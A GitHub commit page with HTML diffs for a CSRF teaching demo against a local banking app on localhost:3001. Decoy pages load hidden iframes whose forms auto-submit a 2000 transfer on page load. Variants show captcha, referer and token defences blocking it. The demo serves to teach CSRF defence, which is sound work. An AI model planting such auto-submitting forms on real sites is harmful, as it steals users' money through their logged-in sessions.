forked from YvetteLau/Blog
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
16 changed files
with
1,077 additions
and
10 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,12 +1,36 @@ | ||
<!DOCTYPE html> | ||
<html lang="en"> | ||
|
||
<head> | ||
<meta charset="UTF-8"> | ||
<meta name="viewport" content="width=device-width, initial-scale=1.0"> | ||
<meta http-equiv="X-UA-Compatible" content="ie=edge"> | ||
<title>你被骗了</title> | ||
</head> | ||
|
||
<body> | ||
|
||
<!-- 偷偷转走你的钱: 3001端口的cookie被自动带去了3001的服务器 --> | ||
<!-- 表单没有跨域问题 --> | ||
<form name="sneak" action="http://localhost:3001/api/transfer" method="post"> | ||
<input type="text" name="payee" value="yvette" /> | ||
<input type="text" name="amount" value="2000" /> | ||
</form> | ||
|
||
<!-- 有验证码的接口 --> | ||
<!-- 虽然用户已经登录,但是需要验证码,验证码匹配错误,不能转走钱 --> | ||
<form name="sneak1" action="http://localhost:3001/api/transfer1" method="post"> | ||
<input type="text" name="payee" value="yvette" /> | ||
<input type="text" name="amount" value="2000" /> | ||
</form> | ||
</body> | ||
<script> | ||
window.onload = function () { | ||
/** | ||
* 以下语句,每次放开对应的一个即可 | ||
*/ | ||
document.sneak.submit(); //没有防御CSRF攻击 | ||
// document.sneak1.submit(); //有验证码的情况 | ||
} | ||
</script> | ||
|
||
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,25 @@ | ||
<!DOCTYPE html> | ||
<html lang="en"> | ||
|
||
<head> | ||
<meta charset="UTF-8"> | ||
<meta name="viewport" content="width=device-width, initial-scale=1.0"> | ||
<meta http-equiv="X-UA-Compatible" content="ie=edge"> | ||
<title>你被骗了</title> | ||
</head> | ||
|
||
<body> | ||
<!-- 有验证码的接口 --> | ||
<!-- 虽然用户已经登录,但是需要验证码,验证码匹配错误,不能转走钱 --> | ||
<form name="sneak1" action="http://localhost:3001/api/transfer1" method="post"> | ||
<input type="text" name="payee" value="yvette" /> | ||
<input type="text" name="amount" value="2000" /> | ||
</form> | ||
</body> | ||
<script> | ||
window.onload = function () { | ||
document.sneak1.submit(); //有验证码的情况 | ||
} | ||
</script> | ||
|
||
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,25 @@ | ||
<!DOCTYPE html> | ||
<html lang="en"> | ||
|
||
<head> | ||
<meta charset="UTF-8"> | ||
<meta name="viewport" content="width=device-width, initial-scale=1.0"> | ||
<meta http-equiv="X-UA-Compatible" content="ie=edge"> | ||
<title>你被骗了</title> | ||
</head> | ||
|
||
<body> | ||
<!-- 判断来源的接口 --> | ||
<!-- 虽然用户已经登录,但是需要服务端会判断请求的来源,来源错误,不能转走钱 --> | ||
<form name="sneak1" action="http://localhost:3001/api/transfer2" method="post"> | ||
<input type="text" name="payee" value="yvette" /> | ||
<input type="text" name="amount" value="2000" /> | ||
</form> | ||
</body> | ||
<script> | ||
window.onload = function () { | ||
document.sneak1.submit(); //有验证码的情况 | ||
} | ||
</script> | ||
|
||
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,25 @@ | ||
<!DOCTYPE html> | ||
<html lang="en"> | ||
|
||
<head> | ||
<meta charset="UTF-8"> | ||
<meta name="viewport" content="width=device-width, initial-scale=1.0"> | ||
<meta http-equiv="X-UA-Compatible" content="ie=edge"> | ||
<title>你被骗了</title> | ||
</head> | ||
|
||
<body> | ||
<!-- 增加token --> | ||
<!-- 虽然用户已经登录,但是需要服务端会判断token,没有 token 或者 token 不正确,不能转走钱 --> | ||
<form name="sneak1" action="http://localhost:3001/api/transfer3" method="post"> | ||
<input type="text" name="payee" value="yvette" /> | ||
<input type="text" name="amount" value="2000" /> | ||
</form> | ||
</body> | ||
<script> | ||
window.onload = function () { | ||
document.sneak1.submit(); //有验证码的情况 | ||
} | ||
</script> | ||
|
||
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,14 +1,19 @@ | ||
<!DOCTYPE html> | ||
<html lang="en"> | ||
|
||
<head> | ||
<meta charset="UTF-8"> | ||
<meta name="viewport" content="width=device-width, initial-scale=1.0"> | ||
<meta http-equiv="X-UA-Compatible" content="ie=edge"> | ||
<title>嘿嘿嘿</title> | ||
</head> | ||
|
||
<body> | ||
<a style="display: block" href="/fake.html"><img width="600"src="http://b4-q.mafengwo.net/s12/M00/FE/AE/wKgED1v772uAa_VkAA3UNOJhbkE35.jpeg?imageMogr2%2Fthumbnail%2F1360x%2Fstrip%2Fquality%2F90"/> | ||
<p>小姐姐教你如何脱单?</p></a> | ||
<img width="600" | ||
src="http://b4-q.mafengwo.net/s12/M00/FE/AE/wKgED1v772uAa_VkAA3UNOJhbkE35.jpeg?imageMogr2%2Fthumbnail%2F1360x%2Fstrip%2Fquality%2F90" /> | ||
<p>你的钱被偷走了~</p> | ||
<a href="http://localhost:3001/">返回查看余额</a> | ||
<iframe src="/fake.html" style="display: none"></iframe> | ||
</body> | ||
|
||
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,19 @@ | ||
<!DOCTYPE html> | ||
<html lang="en"> | ||
|
||
<head> | ||
<meta charset="UTF-8"> | ||
<meta name="viewport" content="width=device-width, initial-scale=1.0"> | ||
<meta http-equiv="X-UA-Compatible" content="ie=edge"> | ||
<title>嘿嘿嘿</title> | ||
</head> | ||
|
||
<body> | ||
<img width="600" | ||
src="http://b4-q.mafengwo.net/s12/M00/FE/AE/wKgED1v772uAa_VkAA3UNOJhbkE35.jpeg?imageMogr2%2Fthumbnail%2F1360x%2Fstrip%2Fquality%2F90" /> | ||
<p>你的钱还很安全~</p> | ||
<a href="http://localhost:3001/safe1.html">返回查看余额</a> | ||
<iframe src="/fake1.html" style="display: none"></iframe> | ||
</body> | ||
|
||
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,19 @@ | ||
<!DOCTYPE html> | ||
<html lang="en"> | ||
|
||
<head> | ||
<meta charset="UTF-8"> | ||
<meta name="viewport" content="width=device-width, initial-scale=1.0"> | ||
<meta http-equiv="X-UA-Compatible" content="ie=edge"> | ||
<title>嘿嘿嘿</title> | ||
</head> | ||
|
||
<body> | ||
<img width="600" | ||
src="http://b4-q.mafengwo.net/s12/M00/FE/AE/wKgED1v772uAa_VkAA3UNOJhbkE35.jpeg?imageMogr2%2Fthumbnail%2F1360x%2Fstrip%2Fquality%2F90" /> | ||
<p>你的钱还很安全~</p> | ||
<a href="http://localhost:3001/safe2.html">返回查看余额</a> | ||
<iframe src="/fake1.html" style="display: none"></iframe> | ||
</body> | ||
|
||
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,19 @@ | ||
<!DOCTYPE html> | ||
<html lang="en"> | ||
|
||
<head> | ||
<meta charset="UTF-8"> | ||
<meta name="viewport" content="width=device-width, initial-scale=1.0"> | ||
<meta http-equiv="X-UA-Compatible" content="ie=edge"> | ||
<title>嘿嘿嘿</title> | ||
</head> | ||
|
||
<body> | ||
<img width="600" | ||
src="http://b4-q.mafengwo.net/s12/M00/FE/AE/wKgED1v772uAa_VkAA3UNOJhbkE35.jpeg?imageMogr2%2Fthumbnail%2F1360x%2Fstrip%2Fquality%2F90" /> | ||
<p>你的钱还很安全~</p> | ||
<a href="http://localhost:3001/safe3.html">返回查看余额</a> | ||
<iframe src="/fake1.html" style="display: none"></iframe> | ||
</body> | ||
|
||
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.